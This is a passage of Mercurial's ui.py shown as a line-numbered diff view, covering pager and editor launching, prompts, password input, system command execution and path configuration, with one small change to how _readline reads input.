945 945 if self._colormode is not None:
946 946 label = opts.get(r'label', '')
947 947 msgs = [self.label(a, label) for a in args]
948 948 self._write_err(*msgs, **opts)
949 949
950 950 def _write_err(self, *msgs, **opts):
951 951 try:
952 952 with self.timeblockedsection('stdio'):
953 953 if not getattr(self.fout, 'closed', False):
954 954 self.fout.flush()
955 955 for a in msgs:
956 956 self.ferr.write(a)
957 957 # stderr may be buffered under win32 when redirected to files,
958 958 # including stdout.
959 959 if not getattr(self.ferr, 'closed', False):
960 960 self.ferr.flush()
961 961 except IOError as inst:
962 962 if inst.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
963 963 raise error.StdioError(inst)
964 964
965 965 def flush(self):
966 966 # opencode timeblockedsection because this is a critical path
967 967 starttime = util.timer()
968 968 try:
969 969 try:
970 970 self.fout.flush()
971 971 except IOError as err:
972 972 if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
973 973 raise error.StdioError(err)
974 974 finally:
975 975 try:
976 976 self.ferr.flush()
977 977 except IOError as err:
978 978 if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
979 979 raise error.StdioError(err)
980 980 finally:
981 981 self._blockedtimes['stdio_blocked'] += \
982 982 (util.timer() - starttime) * 1000
983 983
984 984 def _isatty(self, fh):
985 985 if self.configbool('ui', 'nontty'):
986 986 return False
987 987 return util.isatty(fh)
988 988
989 989 def disablepager(self):
990 990 self._disablepager = True
991 991
992 992 def pager(self, command):
993 993 """Start a pager for subsequent command output.
994 994
995 995 Commands which produce a long stream of output should call
996 996 this function to activate the user's preferred pagination
997 997 mechanism (which may be no pager). Calling this function
998 998 precludes any future use of interactive functionality, such as
999 999 prompting the user or activating curses.
1000 1000
1001 1001 Args:
1002 1002 command: The full, non-aliased name of the command. That is, "log"
1003 1003 not "history, "summary" not "summ", etc.
1004 1004 """
1005 1005 if (self._disablepager
1006 1006 or self.pageractive):
1007 1007 # how pager should do is already determined
1008 1008 return
1009 1009
1010 1010 if not command.startswith('internal-always-') and (
1011 1011 # explicit --pager=on (= 'internal-always-' prefix) should
1012 1012 # take precedence over disabling factors below
1013 1013 command in self.configlist('pager', 'ignore')
1014 1014 or not self.configbool('ui', 'paginate')
1015 1015 or not self.configbool('pager', 'attend-' + command, True)
1016 1016 # TODO: if we want to allow HGPLAINEXCEPT=pager,
1017 1017 # formatted() will need some adjustment.
1018 1018 or not self.formatted()
1019 1019 or self.plain()
1020 1020 or self._buffers
1021 1021 # TODO: expose debugger-enabled on the UI object
1022 1022 or '--debugger' in pycompat.sysargv):
1023 1023 # We only want to paginate if the ui appears to be
1024 1024 # interactive, the user didn't say HGPLAIN or
1025 1025 # HGPLAINEXCEPT=pager, and the user didn't specify --debug.
1026 1026 return
1027 1027
1028 1028 pagercmd = self.config('pager', 'pager', rcutil.fallbackpager)
1029 1029 if not pagercmd:
1030 1030 return
1031 1031
1032 1032 pagerenv = {}
1033 1033 for name, value in rcutil.defaultpagerenv().items():
1034 1034 if name not in encoding.environ:
1035 1035 pagerenv[name] = value
1036 1036
1037 1037 self.debug('starting pager for command %r\n' % command)
1038 1038 self.flush()
1039 1039
1040 1040 wasformatted = self.formatted()
1041 1041 if util.safehasattr(signal, "SIGPIPE"):
1042 1042 signal.signal(signal.SIGPIPE, _catchterm)
1043 1043 if self._runpager(pagercmd, pagerenv):
1044 1044 self.pageractive = True
1045 1045 # Preserve the formatted-ness of the UI. This is important
1046 1046 # because we mess with stdout, which might confuse
1047 1047 # auto-detection of things being formatted.
1048 1048 self.setconfig('ui', 'formatted', wasformatted, 'pager')
1049 1049 self.setconfig('ui', 'interactive', False, 'pager')
1050 1050
1051 1051 # If pagermode differs from color.mode, reconfigure color now that
1052 1052 # pageractive is set.
1053 1053 cm = self._colormode
1054 1054 if cm != self.config('color', 'pagermode', cm):
1055 1055 color.setup(self)
1056 1056 else:
1057 1057 # If the pager can't be spawned in dispatch when --pager=on is
1058 1058 # given, don't try again when the command runs, to avoid a duplicate
1059 1059 # warning about a missing pager command.
1060 1060 self.disablepager()
1061 1061
1062 1062 def _runpager(self, command, env=None):
1063 1063 """Actually start the pager and set up file descriptors.
1064 1064
1065 1065 This is separate in part so that extensions (like chg) can
1066 1066 override how a pager is invoked.
1067 1067 """
1068 1068 if command == 'cat':
1069 1069 # Save ourselves some work.
1070 1070 return False
1071 1071 # If the command doesn't contain any of these characters, we
1072 1072 # assume it's a binary and exec it directly. This means for
1073 1073 # simple pager command configurations, we can degrade
1074 1074 # gracefully and tell the user about their broken pager.
1075 1075 shell = any(c in command for c in "|&;<>()$`\\\"' \t\n*?[#~=%")
1076 1076
1077 1077 if pycompat.iswindows and not shell:
1078 1078 # Window's built-in `more` cannot be invoked with shell=False, but
1079 1079 # its `more.com` can. Hide this implementation detail from the
1080 1080 # user so we can also get sane bad PAGER behavior. MSYS has
1081 1081 # `more.exe`, so do a cmd.exe style resolution of the executable to
1082 1082 # determine which one to use.
1083 1083 fullcmd = util.findexe(command)
1084 1084 if not fullcmd:
1085 1085 self.warn(_("missing pager command '%s', skipping pager\n")
1086 1086 % command)
1087 1087 return False
1088 1088
1089 1089 command = fullcmd
1090 1090
1091 1091 try:
1092 1092 pager = subprocess.Popen(
1093 1093 command, shell=shell, bufsize=-1,
1094 1094 close_fds=util.closefds, stdin=subprocess.PIPE,
1095 1095 stdout=util.stdout, stderr=util.stderr,
1096 1096 env=util.shellenviron(env))
1097 1097 except OSError as e:
1098 1098 if e.errno == errno.ENOENT and not shell:
1099 1099 self.warn(_("missing pager command '%s', skipping pager\n")
1100 1100 % command)
1101 1101 return False
1102 1102 raise
1103 1103
1104 1104 # back up original file descriptors
1105 1105 stdoutfd = os.dup(util.stdout.fileno())
1106 1106 stderrfd = os.dup(util.stderr.fileno())
1107 1107
1108 1108 os.dup2(pager.stdin.fileno(), util.stdout.fileno())
1109 1109 if self._isatty(util.stderr):
1110 1110 os.dup2(pager.stdin.fileno(), util.stderr.fileno())
1111 1111
1112 1112 @self.atexit
1113 1113 def killpager():
1114 1114 if util.safehasattr(signal, "SIGINT"):
1115 1115 signal.signal(signal.SIGINT, signal.SIG_IGN)
1116 1116 # restore original fds, closing pager.stdin copies in the process
1117 1117 os.dup2(stdoutfd, util.stdout.fileno())
1118 1118 os.dup2(stderrfd, util.stderr.fileno())
1119 1119 pager.stdin.close()
1120 1120 pager.wait()
1121 1121
1122 1122 return True
1123 1123
1124 1124 @property
1125 1125 def _exithandlers(self):
1126 1126 return _reqexithandlers
1127 1127
1128 1128 def atexit(self, func, *args, **kwargs):
1129 1129 '''register a function to run after dispatching a request
1130 1130
1131 1131 Handlers do not stay registered across request boundaries.'''
1132 1132 self._exithandlers.append((func, args, kwargs))
1133 1133 return func
1134 1134
1135 1135 def interface(self, feature):
1136 1136 """what interface to use for interactive console features?
1137 1137
1138 1138 The interface is controlled by the value of `ui.interface` but also by
1139 1139 the value of feature-specific configuration. For example:
1140 1140
1141 1141 ui.interface.histedit = text
1142 1142 ui.interface.chunkselector = curses
1143 1143
1144 1144 Here the features are "histedit" and "chunkselector".
1145 1145
1146 1146 The configuration above means that the default interfaces for commands
1147 1147 is curses, the interface for histedit is text and the interface for
1148 1148 selecting chunk is crecord (the best curses interface available).
1149 1149
1150 1150 Consider the following example:
1151 1151 ui.interface = curses
1152 1152 ui.interface.histedit = text
1153 1153
1154 1154 Then histedit will use the text interface and chunkselector will use
1155 1155 the default curses interface (crecord at the moment).
1156 1156 """
1157 1157 alldefaults = frozenset(["text", "curses"])
1158 1158
1159 1159 featureinterfaces = {
1160 1160 "chunkselector": [
1161 1161 "text",
1162 1162 "curses",
1163 1163 ]
1164 1164 }
1165 1165
1166 1166 # Feature-specific interface
1167 1167 if feature not in featureinterfaces.keys():
1168 1168 # Programming error, not user error
1169 1169 raise ValueError("Unknown feature requested %s" % feature)
1170 1170
1171 1171 availableinterfaces = frozenset(featureinterfaces[feature])
1172 1172 if alldefaults > availableinterfaces:
1173 1173 # Programming error, not user error. We need a use case to
1174 1174 # define the right thing to do here.
1175 1175 raise ValueError(
1176 1176 "Feature %s does not handle all default interfaces" %
1177 1177 feature)
1178 1178
1179 1179 if self.plain():
1180 1180 return "text"
1181 1181
1182 1182 # Default interface for all the features
1183 1183 defaultinterface = "text"
1184 1184 i = self.config("ui", "interface")
1185 1185 if i in alldefaults:
1186 1186 defaultinterface = i
1187 1187
1188 1188 choseninterface = defaultinterface
1189 1189 f = self.config("ui", "interface.%s" % feature)
1190 1190 if f in availableinterfaces:
1191 1191 choseninterface = f
1192 1192
1193 1193 if i is not None and defaultinterface != i:
1194 1194 if f is not None:
1195 1195 self.warn(_("invalid value for ui.interface: %s\n") %
1196 1196 (i,))
1197 1197 else:
1198 1198 self.warn(_("invalid value for ui.interface: %s (using %s)\n") %
1199 1199 (i, choseninterface))
1200 1200 if f is not None and choseninterface != f:
1201 1201 self.warn(_("invalid value for ui.interface.%s: %s (using %s)\n") %
1202 1202 (feature, f, choseninterface))
1203 1203
1204 1204 return choseninterface
1205 1205
1206 1206 def interactive(self):
1207 1207 '''is interactive input allowed?
1208 1208
1209 1209 An interactive session is a session where input can be reasonably read
1210 1210 from `sys.stdin'. If this function returns false, any attempt to read
1211 1211 from stdin should fail with an error, unless a sensible default has been
1212 1212 specified.
1213 1213
1214 1214 Interactiveness is triggered by the value of the `ui.interactive'
1215 1215 configuration variable or - if it is unset - when `sys.stdin' points
1216 1216 to a terminal device.
1217 1217
1218 1218 This function refers to input only; for output, see `ui.formatted()'.
1219 1219 '''
1220 1220 i = self.configbool("ui", "interactive")
1221 1221 if i is None:
1222 1222 # some environments replace stdin without implementing isatty
1223 1223 # usually those are non-interactive
1224 1224 return self._isatty(self.fin)
1225 1225
1226 1226 return i
1227 1227
1228 1228 def termwidth(self):
1229 1229 '''how wide is the terminal in columns?
1230 1230 '''
1231 1231 if 'COLUMNS' in encoding.environ:
1232 1232 try:
1233 1233 return int(encoding.environ['COLUMNS'])
1234 1234 except ValueError:
1235 1235 pass
1236 1236 return scmutil.termsize(self)[0]
1237 1237
1238 1238 def formatted(self):
1239 1239 '''should formatted output be used?
1240 1240
1241 1241 It is often desirable to format the output to suite the output medium.
1242 1242 Examples of this are truncating long lines or colorizing messages.
1243 1243 However, this is not often not desirable when piping output into other
1244 1244 utilities, e.g. `grep'.
1245 1245
1246 1246 Formatted output is triggered by the value of the `ui.formatted'
1247 1247 configuration variable or - if it is unset - when `sys.stdout' points
1248 1248 to a terminal device. Please note that `ui.formatted' should be
1249 1249 considered an implementation detail; it is not intended for use outside
1250 1250 Mercurial or its extensions.
1251 1251
1252 1252 This function refers to output only; for input, see `ui.interactive()'.
1253 1253 This function always returns false when in plain mode, see `ui.plain()'.
1254 1254 '''
1255 1255 if self.plain():
1256 1256 return False
1257 1257
1258 1258 i = self.configbool("ui", "formatted")
1259 1259 if i is None:
1260 1260 # some environments replace stdout without implementing isatty
1261 1261 # usually those are non-interactive
1262 1262 return self._isatty(self.fout)
1263 1263
1264 1264 return i
1265 1265
1266 1266 def _readline(self):
1267 1267 if self._isatty(self.fin):
1268 1268 try:
1269 1269 # magically add command line editing support, where
1270 1270 # available
1271 1271 import readline
1272 1272 # force demandimport to really load the module
1273 1273 readline.read_history_file
1274 1274 # windows sometimes raises something other than ImportError
1275 1275 except Exception:
1276 1276 pass
1277 1277
1278 1278 # prompt ' ' must exist; otherwise readline may delete entire line
1279 1279 # - http://bugs.python.org/issue12833
1280 1280 with self.timeblockedsection('stdio'):
1281 line = util.bytesinput(self.fin, self.fout, r' ')
1281 sin, sout = sys.stdin, sys.stdout
1282 try:
1283 sys.stdin = encoding.strio(self.fin)
1284 sys.stdout = encoding.strio(self.fout)
1285 line = encoding.strtolocal(pycompat.rawinput(r' '))
1286 finally:
1287 sys.stdin, sys.stdout = sin, sout
1282 1288
1283 1289 # When stdin is in binary mode on Windows, it can cause
1284 1290 # raw_input() to emit an extra trailing carriage return
1285 1291 if pycompat.oslinesep == '\r\n' and line and line[-1] == '\r':
1286 1292 line = line[:-1]
1287 1293 return line
1288 1294
1289 1295 def prompt(self, msg, default="y"):
1290 1296 """Prompt user with msg, read response.
1291 1297 If ui is not interactive, the default is returned.
1292 1298 """
1293 1299 if not self.interactive():
1294 1300 self.write(msg, ' ', default or '', "\n")
1295 1301 return default
1296 1302 self._writenobuf(msg, label='ui.prompt')
1297 1303 self.flush()
1298 1304 try:
1299 1305 r = self._readline()
1300 1306 if not r:
1301 1307 r = default
1302 1308 if self.configbool('ui', 'promptecho'):
1303 1309 self.write(r, "\n")
1304 1310 return r
1305 1311 except EOFError:
1306 1312 raise error.ResponseExpected()
1307 1313
1308 1314 @staticmethod
1309 1315 def extractchoices(prompt):
1310 1316 """Extract prompt message and list of choices from specified prompt.
1311 1317
1312 1318 This returns tuple "(message, choices)", and "choices" is the
1313 1319 list of tuple "(response character, text without &)".
1314 1320
1315 1321 >>> ui.extractchoices(b"awake? $$ &Yes $$ &No")
1316 1322 ('awake? ', [('y', 'Yes'), ('n', 'No')])
1317 1323 >>> ui.extractchoices(b"line\\nbreak? $$ &Yes $$ &No")
1318 1324 ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')])
1319 1325 >>> ui.extractchoices(b"want lots of $$money$$?$$Ye&s$$N&o")
1320 1326 ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')])
1321 1327 """
1322 1328
1323 1329 # Sadly, the prompt string may have been built with a filename
1324 1330 # containing "$$" so let's try to find the first valid-looking
1325 1331 # prompt to start parsing. Sadly, we also can't rely on
1326 1332 # choices containing spaces, ASCII, or basically anything
1327 1333 # except an ampersand followed by a character.
1328 1334 m = re.match(br'(?s)(.+?)\$\$([^\$]*&[^ \$].*)', prompt)
1329 1335 msg = m.group(1)
1330 1336 choices = [p.strip(' ') for p in m.group(2).split('$$')]
1331 1337 def choicetuple(s):
1332 1338 ampidx = s.index('&')
1333 1339 return s[ampidx + 1:ampidx + 2].lower(), s.replace('&', '', 1)
1334 1340 return (msg, [choicetuple(s) for s in choices])
1335 1341
1336 1342 def promptchoice(self, prompt, default=0):
1337 1343 """Prompt user with a message, read response, and ensure it matches
1338 1344 one of the provided choices. The prompt is formatted as follows:
1339 1345
1340 1346 "would you like fries with that (Yn)? $$ &Yes $$ &No"
1341 1347
1342 1348 The index of the choice is returned. Responses are case
1343 1349 insensitive. If ui is not interactive, the default is
1344 1350 returned.
1345 1351 """
1346 1352
1347 1353 msg, choices = self.extractchoices(prompt)
1348 1354 resps = [r for r, t in choices]
1349 1355 while True:
1350 1356 r = self.prompt(msg, resps[default])
1351 1357 if r.lower() in resps:
1352 1358 return resps.index(r.lower())
1353 1359 self.write(_("unrecognized response\n"))
1354 1360
1355 1361 def getpass(self, prompt=None, default=None):
1356 1362 if not self.interactive():
1357 1363 return default
1358 1364 try:
1359 1365 self.write_err(self.label(prompt or _('password: '), 'ui.prompt'))
1360 1366 # disable getpass() only if explicitly specified. it's still valid
1361 1367 # to interact with tty even if fin is not a tty.
1362 1368 with self.timeblockedsection('stdio'):
1363 1369 if self.configbool('ui', 'nontty'):
1364 1370 l = self.fin.readline()
1365 1371 if not l:
1366 1372 raise EOFError
1367 1373 return l.rstrip('\n')
1368 1374 else:
1369 1375 return getpass.getpass('')
1370 1376 except EOFError:
1371 1377 raise error.ResponseExpected()
1372 1378 def status(self, *msg, **opts):
1373 1379 '''write status message to output (if ui.quiet is False)
1374 1380
1375 1381 This adds an output label of "ui.status".
1376 1382 '''
1377 1383 if not self.quiet:
1378 1384 opts[r'label'] = opts.get(r'label', '') + ' ui.status'
1379 1385 self.write(*msg, **opts)
1380 1386 def warn(self, *msg, **opts):
1381 1387 '''write warning message to output (stderr)
1382 1388
1383 1389 This adds an output label of "ui.warning".
1384 1390 '''
1385 1391 opts[r'label'] = opts.get(r'label', '') + ' ui.warning'
1386 1392 self.write_err(*msg, **opts)
1387 1393 def note(self, *msg, **opts):
1388 1394 '''write note to output (if ui.verbose is True)
1389 1395
1390 1396 This adds an output label of "ui.note".
1391 1397 '''
1392 1398 if self.verbose:
1393 1399 opts[r'label'] = opts.get(r'label', '') + ' ui.note'
1394 1400 self.write(*msg, **opts)
1395 1401 def debug(self, *msg, **opts):
1396 1402 '''write debug message to output (if ui.debugflag is True)
1397 1403
1398 1404 This adds an output label of "ui.debug".
1399 1405 '''
1400 1406 if self.debugflag:
1401 1407 opts[r'label'] = opts.get(r'label', '') + ' ui.debug'
1402 1408 self.write(*msg, **opts)
1403 1409
1404 1410 def edit(self, text, user, extra=None, editform=None, pending=None,
1405 1411 repopath=None, action=None):
1406 1412 if action is None:
1407 1413 self.develwarn('action is None but will soon be a required '
1408 1414 'parameter to ui.edit()')
1409 1415 extra_defaults = {
1410 1416 'prefix': 'editor',
1411 1417 'suffix': '.txt',
1412 1418 }
1413 1419 if extra is not None:
1414 1420 if extra.get('suffix') is not None:
1415 1421 self.develwarn('extra.suffix is not None but will soon be '
1416 1422 'ignored by ui.edit()')
1417 1423 extra_defaults.update(extra)
1418 1424 extra = extra_defaults
1419 1425
1420 1426 if action == 'diff':
1421 1427 suffix = '.diff'
1422 1428 elif action:
1423 1429 suffix = '.%s.hg.txt' % action
1424 1430 else:
1425 1431 suffix = extra['suffix']
1426 1432
1427 1433 rdir = None
1428 1434 if self.configbool('experimental', 'editortmpinhg'):
1429 1435 rdir = repopath
1430 1436 (fd, name) = tempfile.mkstemp(prefix='hg-' + extra['prefix'] + '-',
1431 1437 suffix=suffix,
1432 1438 dir=rdir)
1433 1439 try:
1434 1440 f = os.fdopen(fd, r'wb')
1435 1441 f.write(util.tonativeeol(text))
1436 1442 f.close()
1437 1443
1438 1444 environ = {'HGUSER': user}
1439 1445 if 'transplant_source' in extra:
1440 1446 environ.update({'HGREVISION': hex(extra['transplant_source'])})
1441 1447 for label in ('intermediate-source', 'source', 'rebase_source'):
1442 1448 if label in extra:
1443 1449 environ.update({'HGREVISION': extra[label]})
1444 1450 break
1445 1451 if editform:
1446 1452 environ.update({'HGEDITFORM': editform})
1447 1453 if pending:
1448 1454 environ.update({'HG_PENDING': pending})
1449 1455
1450 1456 editor = self.geteditor()
1451 1457
1452 1458 self.system("%s \"%s\"" % (editor, name),
1453 1459 environ=environ,
1454 1460 onerr=error.Abort, errprefix=_("edit failed"),
1455 1461 blockedtag='editor')
1456 1462
1457 1463 f = open(name, r'rb')
1458 1464 t = util.fromnativeeol(f.read())
1459 1465 f.close()
1460 1466 finally:
1461 1467 os.unlink(name)
1462 1468
1463 1469 return t
1464 1470
1465 1471 def system(self, cmd, environ=None, cwd=None, onerr=None, errprefix=None,
1466 1472 blockedtag=None):
1467 1473 '''execute shell command with appropriate output stream. command
1468 1474 output will be redirected if fout is not stdout.
1469 1475
1470 1476 if command fails and onerr is None, return status, else raise onerr
1471 1477 object as exception.
1472 1478 '''
1473 1479 if blockedtag is None:
1474 1480 # Long cmds tend to be because of an absolute path on cmd. Keep
1475 1481 # the tail end instead
1476 1482 cmdsuffix = cmd.translate(None, _keepalnum)[-85:]
1477 1483 blockedtag = 'unknown_system_' + cmdsuffix
1478 1484 out = self.fout
1479 1485 if any(s[1] for s in self._bufferstates):
1480 1486 out = self
1481 1487 with self.timeblockedsection(blockedtag):
1482 1488 rc = self._runsystem(cmd, environ=environ, cwd=cwd, out=out)
1483 1489 if rc and onerr:
1484 1490 errmsg = '%s %s' % (os.path.basename(cmd.split(None, 1)[0]),
1485 1491 util.explainexit(rc)[0])
1486 1492 if errprefix:
1487 1493 errmsg = '%s: %s' % (errprefix, errmsg)
1488 1494 raise onerr(errmsg)
1489 1495 return rc
1490 1496
1491 1497 def _runsystem(self, cmd, environ, cwd, out):
1492 1498 """actually execute the given shell command (can be overridden by
1493 1499 extensions like chg)"""
1494 1500 return util.system(cmd, environ=environ, cwd=cwd, out=out)
1495 1501
1496 1502 def traceback(self, exc=None, force=False):
1497 1503 '''print exception traceback if traceback printing enabled or forced.
1498 1504 only to call in exception handler. returns true if traceback
1499 1505 printed.'''
1500 1506 if self.tracebackflag or force:
1501 1507 if exc is None:
1502 1508 exc = sys.exc_info()
1503 1509 cause = getattr(exc[1], 'cause', None)
1504 1510
1505 1511 if cause is not None:
1506 1512 causetb = traceback.format_tb(cause[2])
1507 1513 exctb = traceback.format_tb(exc[2])
1508 1514 exconly = traceback.format_exception_only(cause[0], cause[1])
1509 1515
1510 1516 # exclude frame where 'exc' was chained and rethrown from exctb
1511 1517 self.write_err('Traceback (most recent call last):\n',
1512 1518 ''.join(exctb[:-1]),
1513 1519 ''.join(causetb),
1514 1520 ''.join(exconly))
1515 1521 else:
1516 1522 output = traceback.format_exception(exc[0], exc[1], exc[2])
1517 1523 self.write_err(encoding.strtolocal(r''.join(output)))
1518 1524 return self.tracebackflag or force
1519 1525
1520 1526 def geteditor(self):
1521 1527 '''return editor to use'''
1522 1528 if pycompat.sysplatform == 'plan9':
1523 1529 # vi is the MIPS instruction simulator on Plan 9. We
1524 1530 # instead default to E to plumb commit messages to
1525 1531 # avoid confusion.
1526 1532 editor = 'E'
1527 1533 else:
1528 1534 editor = 'vi'
1529 1535 return (encoding.environ.get("HGEDITOR") or
1530 1536 self.config("ui", "editor", editor))
1531 1537
1532 1538 @util.propertycache
1533 1539 def _progbar(self):
1534 1540 """setup the progbar singleton to the ui object"""
1535 1541 if (self.quiet or self.debugflag
1536 1542 or self.configbool('progress', 'disable')
1537 1543 or not progress.shouldprint(self)):
1538 1544 return None
1539 1545 return getprogbar(self)
1540 1546
1541 1547 def _progclear(self):
1542 1548 """clear progress bar output if any. use it before any output"""
1543 1549 if not haveprogbar(): # nothing loaded yet
1544 1550 return
1545 1551 if self._progbar is not None and self._progbar.printed:
1546 1552 self._progbar.clear()
1547 1553
1548 1554 def progress(self, topic, pos, item="", unit="", total=None):
1549 1555 '''show a progress message
1550 1556
1551 1557 By default a textual progress bar will be displayed if an operation
1552 1558 takes too long. 'topic' is the current operation, 'item' is a
1553 1559 non-numeric marker of the current position (i.e. the currently
1554 1560 in-process file), 'pos' is the current numeric position (i.e.
1555 1561 revision, bytes, etc.), unit is a corresponding unit label,
1556 1562 and total is the highest expected pos.
1557 1563
1558 1564 Multiple nested topics may be active at a time.
1559 1565
1560 1566 All topics should be marked closed by setting pos to None at
1561 1567 termination.
1562 1568 '''
1563 1569 if self._progbar is not None:
1564 1570 self._progbar.progress(topic, pos, item=item, unit=unit,
1565 1571 total=total)
1566 1572 if pos is None or not self.configbool('progress', 'debug'):
1567 1573 return
1568 1574
1569 1575 if unit:
1570 1576 unit = ' ' + unit
1571 1577 if item:
1572 1578 item = ' ' + item
1573 1579
1574 1580 if total:
1575 1581 pct = 100.0 * pos / total
1576 1582 self.debug('%s:%s %d/%d%s (%4.2f%%)\n'
1577 1583 % (topic, item, pos, total, unit, pct))
1578 1584 else:
1579 1585 self.debug('%s:%s %d%s\n' % (topic, item, pos, unit))
1580 1586
1581 1587 def log(self, service, *msg, **opts):
1582 1588 '''hook for logging facility extensions
1583 1589
1584 1590 service should be a readily-identifiable subsystem, which will
1585 1591 allow filtering.
1586 1592
1587 1593 *msg should be a newline-terminated format string to log, and
1588 1594 then any values to %-format into that format string.
1589 1595
1590 1596 **opts currently has no defined meanings.
1591 1597 '''
1592 1598
1593 1599 def label(self, msg, label):
1594 1600 '''style msg based on supplied label
1595 1601
1596 1602 If some color mode is enabled, this will add the necessary control
1597 1603 characters to apply such color. In addition, 'debug' color mode adds
1598 1604 markup showing which label affects a piece of text.
1599 1605
1600 1606 ui.write(s, 'label') is equivalent to
1601 1607 ui.write(ui.label(s, 'label')).
1602 1608 '''
1603 1609 if self._colormode is not None:
1604 1610 return color.colorlabel(self, msg, label)
1605 1611 return msg
1606 1612
1607 1613 def develwarn(self, msg, stacklevel=1, config=None):
1608 1614 """issue a developer warning message
1609 1615
1610 1616 Use 'stacklevel' to report the offender some layers further up in the
1611 1617 stack.
1612 1618 """
1613 1619 if not self.configbool('devel', 'all-warnings'):
1614 1620 if config is None or not self.configbool('devel', config):
1615 1621 return
1616 1622 msg = 'devel-warn: ' + msg
1617 1623 stacklevel += 1 # get in develwarn
1618 1624 if self.tracebackflag:
1619 1625 util.debugstacktrace(msg, stacklevel, self.ferr, self.fout)
1620 1626 self.log('develwarn', '%s at:\n%s' %
1621 1627 (msg, ''.join(util.getstackframes(stacklevel))))
1622 1628 else:
1623 1629 curframe = inspect.currentframe()
1624 1630 calframe = inspect.getouterframes(curframe, 2)
1625 1631 fname, lineno, fmsg = calframe[stacklevel][1:4]
1626 1632 fname, fmsg = pycompat.sysbytes(fname), pycompat.sysbytes(fmsg)
1627 1633 self.write_err('%s at: %s:%d (%s)\n'
1628 1634 % (msg, fname, lineno, fmsg))
1629 1635 self.log('develwarn', '%s at: %s:%d (%s)\n',
1630 1636 msg, fname, lineno, fmsg)
1631 1637 curframe = calframe = None # avoid cycles
1632 1638
1633 1639 def deprecwarn(self, msg, version, stacklevel=2):
1634 1640 """issue a deprecation warning
1635 1641
1636 1642 - msg: message explaining what is deprecated and how to upgrade,
1637 1643 - version: last version where the API will be supported,
1638 1644 """
1639 1645 if not (self.configbool('devel', 'all-warnings')
1640 1646 or self.configbool('devel', 'deprec-warn')):
1641 1647 return
1642 1648 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
1643 1649 " update your code.)") % version
1644 1650 self.develwarn(msg, stacklevel=stacklevel, config='deprec-warn')
1645 1651
1646 1652 def exportableenviron(self):
1647 1653 """The environment variables that are safe to export, e.g. through
1648 1654 hgweb.
1649 1655 """
1650 1656 return self._exportableenviron
1651 1657
1652 1658 @contextlib.contextmanager
1653 1659 def configoverride(self, overrides, source=""):
1654 1660 """Context manager for temporary config overrides
1655 1661 `overrides` must be a dict of the following structure:
1656 1662 {(section, name) : value}"""
1657 1663 backups = {}
1658 1664 try:
1659 1665 for (section, name), value in overrides.items():
1660 1666 backups[(section, name)] = self.backupconfig(section, name)
1661 1667 self.setconfig(section, name, value, source)
1662 1668 yield
1663 1669 finally:
1664 1670 for __, backup in backups.items():
1665 1671 self.restoreconfig(backup)
1666 1672 # just restoring ui.quiet config to the previous value is not enough
1667 1673 # as it does not update ui.quiet class member
1668 1674 if ('ui', 'quiet') in overrides:
1669 1675 self.fixconfig(section='ui')
1670 1676
1671 1677 class paths(dict):
1672 1678 """Represents a collection of paths and their configs.
1673 1679
1674 1680 Data is initially derived from ui instances and the config files they have
1675 1681 loaded.
1676 1682 """
1677 1683 def __init__(self, ui):
1678 1684 dict.__init__(self)
1679 1685
1680 1686 for name, loc in ui.configitems('paths', ignoresub=True):
1681 1687 # No location is the same as not existing.
1682 1688 if not loc:
1683 1689 continue
1684 1690 loc, sub = ui.configsuboptions('paths', name)
1685 1691 self[name] = path(ui, name, rawloc=loc, suboptions=sub)
1686 1692
1687 1693 def getpath(self, name, default=None):
1688 1694 """Return a ``path`` from a string, falling back to default.
1689 1695
1690 1696 ``name`` can be a named path or locations. Locations are filesystem
1691 1697 paths or URIs.
1692 1698
1693 1699 Returns None if ``name`` is not a registered path, a URI, or a local
1694 1700 path to a repo.
1695 1701 """
1696 1702 # Only fall back to default if no path was requested.
1697 1703 if name is None:
1698 1704 if not default:
1699 1705 default = ()
1700 1706 elif not isinstance(default, (tuple, list)):
1701 1707 default = (default,)
1702 1708 for k in default:
1703 1709 try:
1704 1710 return self[k]
1705 1711 except KeyError:
1706 1712 continue
1707 1713 return None
1708 1714
1709 1715 # Most likely empty string.
1710 1716 # This may need to raise in the future.
1711 1717 if not name:
1712 1718 return None
1713 1719
1714 1720 try:
1715 1721 return self[name]
1716 1722 except KeyError:
1717 1723 # Try to resolve as a local path or URI.
1718 1724 try:
1719 1725 # We don't pass sub-options in, so no need to pass ui instance.
1720 1726 return path(None, None, rawloc=name)
1721 1727 except ValueError:
1722 1728 raise error.RepoError(_('repository %s does not exist') %
1723 1729 name)
1724 1730
1725 1731 _pathsuboptions = {}
1726 1732
1727 1733 def pathsuboption(option, attr):
1728 1734 """Decorator used to declare a path sub-option.
1729 1735
1730 1736 Arguments are the sub-option name and the attribute it should set on
1731 1737 ``path`` instances.
1732 1738
1733 1739 The decorated function will receive as arguments a ``ui`` instance,
1734 1740 ``path`` instance, and the string value of this option from the config.
1735 1741 The function should return the value that will be set on the ``path``
1736 1742 instance.
1737 1743
1738 1744 This decorator can be used to perform additional verification of
1739 1745 sub-options and to change the type of sub-options.
1740 1746 """
1741 1747 def register(func):
1742 1748 _pathsuboptions[option] = (attr, func)
1743 1749 return func
1744 1750 return register
1745 1751
1746 1752 @pathsuboption('pushurl', 'pushloc')
1747 1753 def pushurlpathoption(ui, path, value):
1748 1754 u = util.url(value)
1749 1755 # Actually require a URL.
1750 1756 if not u.scheme:
1751 1757 ui.warn(_('(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
1752 1758 return None
1753 1759
1754 1760 # Don't support the #foo syntax in the push URL to declare branch to
1755 1761 # push.
1756 1762 if u.fragment:
1757 1763 ui.warn(_('("#fragment" in paths.%s:pushurl not supported; '
1758 1764 'ignoring)\n') % path.name)
1759 1765 u.fragment = None
1760 1766
1761 1767 return bytes(u)
1762 1768
1763 1769 @pathsuboption('pushrev', 'pushrev')
1764 1770 def pushrevpathoption(ui, path, value):
1765 1771 return value
1766 1772
1767 1773 class path(object):
1768 1774 """Represents an individual path and its configuration."""
1769 1775
1770 1776 def __init__(self, ui, name, rawloc=None, suboptions=None):
1771 1777 """Construct a path from its config options.
1772 1778
1773 1779 ``ui`` is the ``ui`` instance the path is coming from.
1774 1780 ``name`` is the symbolic name of the path.
1775 1781 ``rawloc`` is the raw location, as defined in the config.
1776 1782 ``pushloc`` is the raw locations pushes should be made to.
1777 1783
